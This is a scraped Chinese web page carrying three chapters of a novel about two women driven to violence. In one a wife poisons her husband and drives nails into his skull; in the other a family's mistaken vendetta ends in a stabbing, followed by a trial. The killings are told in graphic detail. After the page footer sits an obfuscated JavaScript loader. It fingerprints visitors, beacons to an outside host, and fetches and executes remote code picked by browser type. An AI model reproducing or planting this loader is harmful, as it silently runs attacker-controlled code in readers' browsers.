    叶青在昏昏沉沉的睡眠中听见了猫叫。猫用柔软的身体蹭着门。叶青首先感到的是一阵穿透心脏的疼痛,像是被一团烈焰灼烧着。她光着脚板翻身下床,在厨房摸了一把火钳,然后把门打开一道缝,猫嗖地蹿进家里。猫轻身跳到睡惯了的铺上,然后蜷成一团。   
    叶青悄悄走近猫,照准它的头狠狠地砸下去。猫嗷嗷乱叫,试图跃身逃走,叶青又迎头给了它几下。猫的嘴里喷溅出一些白沫,身子晃了晃就死了。叶青随手就把它扔到了窗子外面。   
    熊一进门就失去了控制,他卡住叶青的脖子,叶青伸出手想抓住什幺东西,却一点劲也使不上来。她两眼球朝外凸,身子软绵绵地垮下去。熊这才罢了手。叶青醒来已是半夜,她的眼前是一片漆黑,她的手在周围划了几下,仍找不到一个能使自己站起来的支点。   
    风把窗子刮得砰砰作响,天空中的黑云在一丝若明若暗的光亮中翻滚。熊的鼻鼾声像初夏季节里的海水,汹涌地拍打着叶青的情感之堤,她坚信,那种鱼死网破的打算,就是在这样的情形下产生的。   
    不久,熊便离家出走了。临别时他给叶青留了一张“天高任鸟飞,海阔凭鱼跃”的楷书字条,字条放在他们用餐的方桌边沿,熊还专门用了一只茶杯压在上面,以防被风刮走。   
    熊离家之后叶青曾一度陷入悲痛和绝望之中。叶青的家人都劝她到法院起诉离婚,她也曾动过这种念头,然而叶青却无法说清不愿付诸行动的感受。反正既不是爱也不是恨。日子就像一个失去纹路的陶器,灰暗地存放在叶青的心中。这期间叶青除了上班几乎不与人往来。   
    几个月之后熊回来时,带来了一个蓬头垢面的女人和一本汽车驾驶执照。熊像从未离开家一样一进门就喊饿死人了,你是不是存心要把老子搞得胃癌死掉?   
    叶青冷淡地看了一眼熊身边的女人。女人挑了挑肥胖的眉头,做了一个似笑非笑的样子,脸上的肌肉来回抽动了一下,便亲昵地靠着熊坐了下来。叶青感到自己的胸口火辣辣的,眼睛里闪烁着金光。   
    她咬牙切齿地说:“厂里已经把你除名了。”   
    叶青咽含在唇齿间的下一句话是,看你日后怎幺办。   
    熊哈哈一笑,做出根本不在乎的样子,从肮脏的茄克外衣内摸出驾驶执照,往叶青眼前晃了晃,然后在手心里拍得啪啪响。   
    熊说:“天无绝人之路呀!是不是?”

第一部分第8节 放着生路你不走(2)
    熊这样说着,用胳膊撞撞那个女人。女人随即咯咯地跟着熊笑起来。叶青走进卧室关上门,她听见自己的心脏跳动得很猛烈,整个身子软弱无力。熊推门进来并不看浑身气得哆嗦的叶青,打开柜门拿衣服。   
    叶青说:“你睡过她了?”   
    熊边脱衣服边说:“知道了还问?”   
    叶青的脑袋一阵嗡嗡之声,这虽然是料想中的事,却也让她感到了巨大的她无法容忍的伤害。她变得慌乱而有气无力地说:“我只求你以后不要把她带到家里来。”   
    熊说:“这房子好像不是你的吗?”   
    熊在镜子前冷淡地笑了笑,他心里涌起一种莫大的对叶青的轻视。他认为这个女人已经到了不可理喻的地步。   
    叶青想一个人非往死路上走,就是九头牛也拉他不回了。反正自己现在这个样子生不如死,不如同归于尽倒也痛快,歹了我也好不了你。   
    那晚上熊跟女人就睡在凉台的床上,叶青夜里醒来几次都听见女人哧哧的笑声,跟从前那只猫发出的声音,没有什幺根本区别。   
    然而在很长的一段日子里,叶青仍对熊怀抱希望。熊隔三岔五地回来一次,即使不带着那个女人,也常常是显出洁身自好的样子,拿了东西就走,从不留一点夫妻之间重温旧情的余地。   
    叶青在绝望的盼望中一次又一次地遭到毁灭性的打击,这使她认定只有鱼死网破,才是真正的最后的结果。叶青坚定地这样认为之后,反而生活得很有信心了。以至于熊终于提出让叶青离开她居住了八年之久的房子时,叶青的平静出乎熊的预料。   
    熊说:“你终于明白了感情这东西是不能勉强的。”   
    叶青已经在厨房里忙了好一阵子,叶青镇定自如地摆好饭菜之后示意熊一起吃。熊却做出要走的样子,叶青深知熊的秉性,他最怕叶青在大情理上表现得比自己豁达。   
    叶青做出坦然而冷淡的样子说:“熊,夫妻一场我配不上你,这点我已经想明白了,这样下去大家都痛苦,不如散了就散了,明天我就离开这个家,把一切都留给你。”   
    熊听了这番话,心突突急跳了几下,随即软和下来,先前的轻视,变成了怜悯。他想就陪这个可怜可悲的女人吃最后一顿饭吧,好歹她过去还是自己的老婆。   
    熊就这样坐到了饭桌前。   
    叶青把事先投了毒的酒从柜上抱下来。这是熊经常饮用的酒瓶,里面的刺梨、红籽、大枣都是熊先前泡进去的。熊已经很久没有碰过它们了。熊自己拿来从前用来喝酒的大杯子,坐下等待叶青给他倒酒。叶青的手不由自主地抖了几下,酒溅了一桌子。熊没有在意,端起杯子一仰头咕咚全喝完了,喝完之后还吧嗒了几下嘴。叶青又慌慌张张地往杯子里倒酒。   
    熊捂住杯口看着叶青说:“你今天不是黄鼠狼给鸡拜年吧?”   
    叶青浑身发抖心里一阵发硬。   
    熊松开捂杯子的手说:“我想全国人民的胆子都给你,你……你也不……敢……”   
    叶青迟疑片刻便又给熊倒满了酒,熊仍是把头一仰喝了下去。这时熊感到了腹内有些疼痛,他捂住肚子站起来,游移不定的眼光里出现了几分幽怨。他歪斜着站起来往卧室里走,他感到一阵火烧火燎的疼痛,随即就向着床扑了过去,他的手空划了几下身子便不再动弹。   
    叶青用手在熊的鼻子底下试了试,熊的鼻息已显得很微弱。叶青有些慌乱,此时她并无一点悔意,她担心的是熊断不了气。事已至此熊或死或活对于叶青来说结果都是一样。   
    窗外天色已暗,远处的灯光隐约地笼罩着玻璃上的水雾。   
    叶青静静地等待着熊一步步地离开这个世界。她觉得自己等了很久,像是人的半辈子。她有点无法再继续这种残酷的等待了。她找来三颗五寸长的铁钉子和一把锤她想熊你活着时作恶多端,死了也恶焰难熄,我要让你下地狱,永世不得投胎。   
    叶青不假思索地将钉子钉进了熊的头。熊受到刺激后,手朝两边扇了几下,然后他的气管里发出扑哧扑哧的声音。第二颗钉子钉下去时,熊的两只眼睛大大地凸现出来,血就从眼底往外溢。接着熊的鼻孔、耳朵和嘴里都流出了血。   
    屋里的光线很暗,这时的叶青已显得很从容。她将第三颗钉子斜插进熊的穴门之前,在他的脑门上划了个弧线,然后她的手停在那里,钉子就准确无误地进入熊的命脉之处。   
    有一阵子血从熊的身体里哗哗地往外淌,像一条奔涌的小溪,从山崖上突兀而下,泛出一股刺鼻的海藻般的腥味。   
    叶青将熊的身子翻了过来,使他仰面朝天,血渐渐地停止了外流。叶青用纸擦掉熊脸上的血。熊的嘴半张着,嘴角还挂着已经凝固的血渍。   
    熊的脸上还有些微热。叶青觉得屋里黑得很害怕,她伸手拉灯的时候,熊的头在叶青怀里抖动了一下,她本能地将熊的头丢到一边。熊的头落到铺上后歪斜着,熊的脸色由惨白变得蜡黄,凸现的眼球把眼皮撑开一道细缝,灯光下能看见一绺眼底的白光。叶青把手指咬出血后,朝着熊恶狠狠地洒去,然后扑上去用一只手按住熊的头,左右开弓就是几耳光。   
    叶青泣道:“看你吓唬我?你有本事就再带个女人回来睡觉让我看看。你怎幺不说话?你现在是自作自受。”   
    巴掌落在熊的脸上,发出很响亮的声音。这时叶青感到微微发热,头上也有了些汗,刚才的恐惧感消失得无影无踪。她换了一只手按住熊的头,并把他的脸端正过来朝上。又是一阵噼里啪啦的巴掌。   
    “你个狗日的杂种,放着生路你不走,偏偏要往死路上挤……”   
    叶青又是打又是骂又是哭,她实在地感到了一种前所未有的疲惫。她有一种立刻就会死掉的感觉,昏昏糊糊地睡去了。   
    她醒来时,窗外已经有一种朦胧的鱼肚白。隔壁上早班的男人推着自行车走过窗外时,停了下来。叶青下床之后歪斜着走到窗前,朝窗外看了一眼,男人蹲在地上正在给自行车上链条。她看看灰蒙蒙的天空踉跄着走到桌子边,拿起熊喝剩的酒,刚喝了一口,就有肝肠断裂的感觉。   
    于是她大声地叫起来:“救命呀!救命!”

第一部分第9节 鸡飞狗跳(1)
    又有人去水池边洗碗。这时已经停水了,空了的水管发出哧哧的扑腾之声。没有人去关掉龙头,扑哧之声断断续续地响着,过了一会儿就不再响了,这时水已经完全停了。女人们坐着聊天,风在窗外呼呼地刮着。女人们问起了王桃花家里的人。   
    王桃花说一点消息都没有。就有人说再让陈艺找阿四去打听一下,只要他们也关在这看守所里就没有找不到的。陈艺听了这话就火了,她从床的另一头蹿过来没好气地逼着说话的人。   
    她说:“你说什幺?你以为是哪儿?你怎幺不找人去打听?”   
    说话的人说,我不是不如你那幺骚吗?   
    几个女人你一言我一语地吵着的时候,就有瓮声瓮气的声音从管子的另一头传过来,这是有人对着管子在喊叫。女人们停了下来认真地听着。当然女人们并不是第一次经历这样的声音,她们是想尽快弄清声音的内容,也就是这声音是冲谁来的。那声音比先前清晰了些。大家就听清楚了,有人在哇啦哇啦地喊妈。声音是从男号房那边传过来的。   
    短暂的寂静之后,王桃花猛扑过去抱住龙头哭着喊:“小杰,儿呀!”   
    那边也传来了哭声。女人们仍站着不动,她们全神贯注地听着似乎是两种关于命运的声音奇特的汇合,那感觉像是来自遥远天边的雷鸣令人振奋而沮丧。   
    王桃花哭了一会儿,突然就止住了。她抽泣着说:“儿,你挨打没有?”   
    那边传来的还是哭声。   
    王桃花说:“儿,是妈妈害了你和哥哥,你把什幺事都推到妈妈身上,你见到哥哥和爸爸没有?想办法告诉他们,劳改我一个人担了,你听见没有……”   
    王桃花嘤嘤地哭着就坐到了地上,龙头那边的哭声将管子震得轰轰作响。王桃花的声音在号房里寻死觅活般地飞扬着。那边的声音却像是在幽暗的隧道里顺着时间滑进一个深不见底的黑潭。她四肢抽空了似的软下去,有人走过去关掉了龙头,也有人去劝她,可她却坐在地上不肯起来。泪水使她憔悴的脸有了些光泽,她抽泣的时候,两颊的起伏使她几乎已显僵死的肌肉重新鲜活起来。她把头埋进两胯之间,抽泣时她就抬起头来,两个小眼珠子死死地盯着屋顶。那模样真的让人能感到她正经历着五脏俱焚的滋味。   
    王桃花家住在一个生产茶叶的小镇上。记得那天是端午节,王桃花在一阵突然的暴雨里独坐家中包粽子。这一日她总是心不在焉魂不守舍。她不时地透过昏暗的玻璃向外看,她显得有些焦虑,她不知道自己为什幺会如此焦虑。   
    雨停后一抹阳光照射进来,她感到有一种说不清的疲惫。她开了门看看滚动着乌云的天空,心中就生出不祥的预感。她朝着菜园走去,很快郁积在她心中的阴云样的东西就被园中青油油的植物冲淡了,视线中的绿色使她神清气爽。几只鸡正通过她的视线钻过荆棘进入了她家的菜园。王桃花捡起一块石头连吓带吆喝地将鸡撵进了隔壁李家的菜园。在鸡们慌忙的逃窜中,王桃花发现了自家的鸡蔫耷耷地蹲在笼子里,脖子长长地歪在一边,眼看就要死了。   
    王桃花扑上去一把抓住鸡,摸摸食包胀鼓鼓的。回到家她立即剖开鸡的食包,里面发出的农药味粘着一股酸味差点没把王桃花弄吐。王桃花被突然撩拨起来的怒火焚烧着。她认为这是李家在向自己示威,今天毒死了鸡明天就有可能拿着刀冲上门来杀人。两家怨愤由来已久,虽然很长时间不曾有磨擦,但两家的仇恨并未消除。想到这里王桃花在门口的一张凳子上坐了下来,这时的阳光被大团的黑云遮住了,院子里阴沉沉的。几十年前因为盗窃入过狱的王桃花,说什幺也抑制不住滚动在心底里的酸楚滋味。所有的往事一下子涌进她的脑子里,千言万语汇聚成一种新仇旧恨啃噬着王桃花的心。王桃花觉得自己的内脏在那一抹阴霾的阳光的照射下抽搐得很痛。她又抬起头去看看天,心中的痛就变得坚硬起来。她想,过去小棕绳爬背(被绳子捆绑)时自己都没有眨眼,何况那些都成为了历史,难道还要再受人欺侮而忍气吞声吗?   
    于是王桃花跟触电似的一跃而起。她迅速将鸡毛煺净将菜板和菜刀放在门口的石桌上,然后又将鸡平整地放在菜板上。王桃花的心情显得格外平静,她仔细地端详着那只白净里透着青绿的鸡。心里想鸡啊你虽为一只任人宰割的动物,今天我在这里为你的屈死申冤了,我要让那个置你于死地的人比你的下场还惨,让他看看王桃花家的鸡不是好惹的,也不是一只普通的随随便便就死掉的鸡,不是谁想下毒手就能随便下得了的。   
    王桃花仰面朝天喊骂道:“狗日的,出来看清楚了,青天在上,这一刀砍掉的是你儿子的头。”   
    一阵风吹来,王桃花拿刀的手在空中晃荡了几下,然后她对准鸡头狠狠地剁下去。那鸡头骨碌滚到了地上。王桃花的心就跟着滚动的鸡头扑哧扑哧跳动了几下。于是她心中有了斩尽杀绝的快乐,仇恨也就变成了实实在在的东西落在刀上。她将刀举过头顶恶狠狠地喊骂道:“看清楚了,你儿子已经人头落地了。接下来这两刀该剁下你姑娘的脚和手,千刀万剐你们一家。”   
    王桃花剁得菜板咚咚响,李家女人打开门,看都没有看王桃花一眼,反锁上门绕开王桃花走了。王桃花看见李家女人出来,劲头更旺了,她对准鸡胸膛左一刀右一刀地乱砍乱叫道:“看拿你的老公开胸剖腹,把你们家斩尽杀绝……”   
    王桃花看着李家女人消失的那条道,越骂越觉着无聊,这是骂给谁听呢?王桃花心里的火一下子化为了灰烬。她被一种从未经历过的蔑视弄得恼恨交加。此时侮骂已经无济于事,可刚刚缓和的那股恨却将身体里的每一根神经都充满了火样的东西。王桃花借着心中那团越烧越旺的火径直冲到李家门口,她举起菜刀在玻璃上来回地挥舞了几下,一串稀里哗啦的脆响平息了她内心所有的怒火。   
    王桃花回家后紧紧地闭上门,她坐下后呼哧哧地喘气。那些碎裂的声音仍然在她的脑子里。她坐了很久,才平静下来。她平静下来之后先前游动在心中的不安和焦虑重又清晰起来,她明白一场难以避免的战斗就要开始了。但这场战斗会以怎样的形式出现她不得而知。所以她在等待的过程中显出了前所未有的智谋和敏感。整个下午她没有离开窗口半步,透过玻璃上斑驳的油漆她能清楚无误地看到李家。   
    晚饭时王桃花只胡乱地吃了几口就又扒在窗口。她的丈夫李代很为不解地说:“你今天怎幺跟个侦察兵似的。”   
    王桃花没有理会丈夫,她坚信自己的直觉,战斗已经开始了。   
    天擦黑时目标终于出现了,一个陌生的男人趿着双拖鞋,摇摇摆摆地进了李家。王桃花认为战斗就要打响了。她将发生的事添油加醋地对丈夫叙说了一遍。   
    她的丈夫听完叙述之后,觉得事情非同小可,气得在屋子里乱蹦乱跳。   
    王桃花就胸有成竹地说:“与其被动挨打不如先下手为强。”   
    李代认为老婆说得非常有道理。夫妻俩就开始认真地商量怎样打好这场迫在眉睫的“战斗”。   
    王桃花四处找回她的三儿子说:“牛儿,快去把你大哥二哥找回来,家里要出人命了,有人要围打我们家。”   
    牛儿眨巴着两只小眼睛望着自己的妈妈。他才刚满十岁他无法理解妈妈传达出来的事情的严重性。李代见儿子如此反应急得将手里的半截烟头扔到他的身上骂道:“你这个蠢猪,还不快点,家里的人都要被你害死。”   
    牛儿打开门朝黑夜中跑去。王桃花软软地坐进一条竹编的躺椅里,窗外的黑映在她的心上,无数不利于自己的恶劣后果,交错着在她的脑中闪现。   
    王桃花说:“只是把儿子喊回来,恐怕抵不住,我们得分头行动,去找几个人帮忙,设下埋伏,以防万一。”   
    她看了丈夫一眼。   
    她的丈夫在沉默中表现出对女人深谋远虑正确性的认可。他从竹椅里翻坐起来说:“这事还得去找小梁。”   
    于是王桃花急急匆匆地出了门。

第一部分第10节 鸡飞狗跳(2)
    小梁是王桃花的表弟,在镇派出所当民警。王桃花赶到镇派出所时小梁有事正准备出门,王桃花拦住他又是哭又是闹地把事说了一遍。小梁眨巴着一只在娘胎里就瞎了的眼不停地抽着烟。他无从给王桃花一个明确的说法,他一急就只能使劲地眨着那只凸现在外泛着暗蓝色光的眼。有一年夏天他身着白色制服出差,因为事情紧急小梁在另一个城市下了火车就不停地眨眼,结果就被便衣警察抓了。有关部门对他的左眼进行了精密的检查。警方怀疑他是特务,眼球里安装了照像机发报机之类的东西,因为一下火车他就东张西望不停地眨眼。那是70年代末,对于着装在形象上还没有太严格的规定。但是后来小梁还是失去了执行公务的所有机会。   
    小梁想了很久说:“事情再严重也没有发生,你让我怎幺个管法?”   
    王桃花急了说:“那你就见死不救?眼睁睁看人活活把你姐一家人打死?”   
    小梁说:“我不是那意思,我是说我不可能现在就跑去把人抓了。”   
    王桃花说:“既然战争是不可能回避的,我们就得有个防范,万一他们人多势众你也不可能袖手旁观呀。再说先下手为强,你出面事情的性质就全变了,我们就是好人打坏人,就是以正压邪,必要时你还可以派出所的名誉抓人。”   
    小梁又是一阵不停地眨巴着眼。他想王桃花说得有道理,万一真的事情如她说的那样发生了,往后自己还怎幺在这镇上混呀,是人是狗都可以出来在自己头上屙屎撒尿。他不再眨眼的时候他就是要说话了,他要说话了他就把眼睛看着别处,看着一个别人看不见的地方。   
    小梁说:“你肯定他们要袭击你们。”   
    王桃花说:“看你把话说的,这黑灯瞎火的你以为我找不着事干了。”   
    在小梁不停地眨巴眼的时候王桃花把她设置的计划说了一遍。小梁也觉着万无一失,王桃花便急冲冲地回到家里开始按她的计划发号施令。   
    大局定了之后,王桃花的任务就是继续侦察敌情。终于在十点钟的时候,目标出现了,王桃花惊喜若狂。   
    王桃花急道:“出来了,牛儿快跑去通知路口的人。”   
    王桃花的手在空中比比画画,屋里的人都站了起来,等待王桃花发号施令。王桃花打开门,屋子里的人就似离弦的箭一般冲了出去。   
    王桃花在飞奔中突然停下来说:“我们不能急,我们先跟着他走。”   
    王桃花一家四个人紧跟在目标后面。前面的目标似乎预感到了什幺,扭头张望之后加快了步子。   
    王桃花在后面小跑了两步。   
    王桃花喊道:“抓强盗喽!快抓强盗有强盗!”   
    她的儿子和丈夫也跑了起来,她的丈夫也边跑边说:“抓住他,打死他!”   
    前面的人回过头东张西望了一阵,反应过来拔腿就跑,跑到岔路口上,从黑处跳出两个人来,迎面抓住他就打。后面的人追上来,你一拳我一脚,加上棍子和刀,几下就把那人血淋淋地打翻在地。   
    周围的人听见喊抓强盗,纷纷跑出来看热闹,很快就把现场围得严严实实。小梁也跑了过来,他往人群里挤。   
    小梁问:“强盗在哪里?给我往死里打”   
    人们闪开一条道让小梁挤了进去。里面的人又把那人从地上揪了起来,拳脚雨点样落在他的身上。那人在黑暗中看见一个穿白色警服的人,就扑了过去喊道:“救我!”   
    小梁气急败坏地将他推开。   
    小梁对着众人高声说:“这是个屡教不改的强盗,我们找了他很久了。没想到他自己送上门来了。你们都看见了死到临头他还想摸我的枪。”   
    看热闹的人用手电照了一下小梁的腰部,五个血红的手印,清清楚楚地印在小梁白色警服的衣兜上。那人被小梁一推,又倒在了地上,扑哧扑哧喘着气喊救命。王桃花的大儿子照准那人的腹部猛刺了一刀。   
    围观的人群一阵骚动。   
    有人喊:“打死人要偿命,不能再打了,人已经不行了。”   
    王桃花的丈夫说:“强盗打死没有找狗屁的。”又朝地上的人踢了两脚。   
    王桃花觉得事情到此,也该收场了,于是就张罗着收兵回营。小梁用手电一照,发现地上的人确实不行了,慌忙叫人把他送进了医院。   
    结果是受害人命保住了,却落了个终身残疾。   
    受害者的亲属状告了王桃花一家。几天之后她的丈夫和大儿子被抓走了。王桃花四处奔走询问无门,她意识到了事情的严重性,她决心做最后挣扎。   
    王桃花搞来了一件女式民警服,穿上之后手里提着一个小黑包(这是当地人办案时常用的一种手提包),这样她就更像一个当地的公安人员了。受害人家住的地方离镇子很远又不通车。那是夏天,走在大片的玉米地里,她感到心惊肉跳。不知为什幺她就是不敢在那密密的庄稼地里歇上一口气。她逃命似的走出玉米地之后,在土坎上坐了下来。她远远地望着决定她们一家人命运的村庄,第一次有了孤立无助的感受。   
    王桃花坐在那里,她认为自己的行为关联着家人的全部,所以成败在此一举了。她开始想把事情做得更像真的一点,打算进村后去找村委会的人陪着。但是现在她认为这个想法是多幺的愚蠢,万一对方要看介绍信什幺的岂不立刻就露馅儿了。   
    王桃花一边为自己万无一失的聪明才智庆幸,一边就进了村。她找到受害人家住的地方。她首先看见的是坐在屋檐下的一个瞎老太太。那是受害人的妈妈。王桃花对着瞎老太婆自我介绍了一番。老太婆一听公安局的又派人来了,慌忙叫回正在地里干活的老伴。这时的王桃花坐在堂屋里已经显得很镇静了。一阵装腔作势之后,她开始问案。大字不识一个的王桃花,居然拿出一个小笔记本和一支笔,装模作样地边问边记录。   
    结束时王桃花故作神秘地说:“你们告的是什幺人,你们知道吗?”   
    老头就说,我们不管他是谁,我们告的是杀人犯。   
    王桃花就咬牙切齿气急败坏地说:“我是怕最后你们去坐牢。”   
    王桃花没想到自己讲完这句话之后,回到家里就被捕了。公审时她的罪名里又多了一条冒充公安人员,威胁受害者亲属。

热门搜索

友情链接



返回首页 | 返回顶部

function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};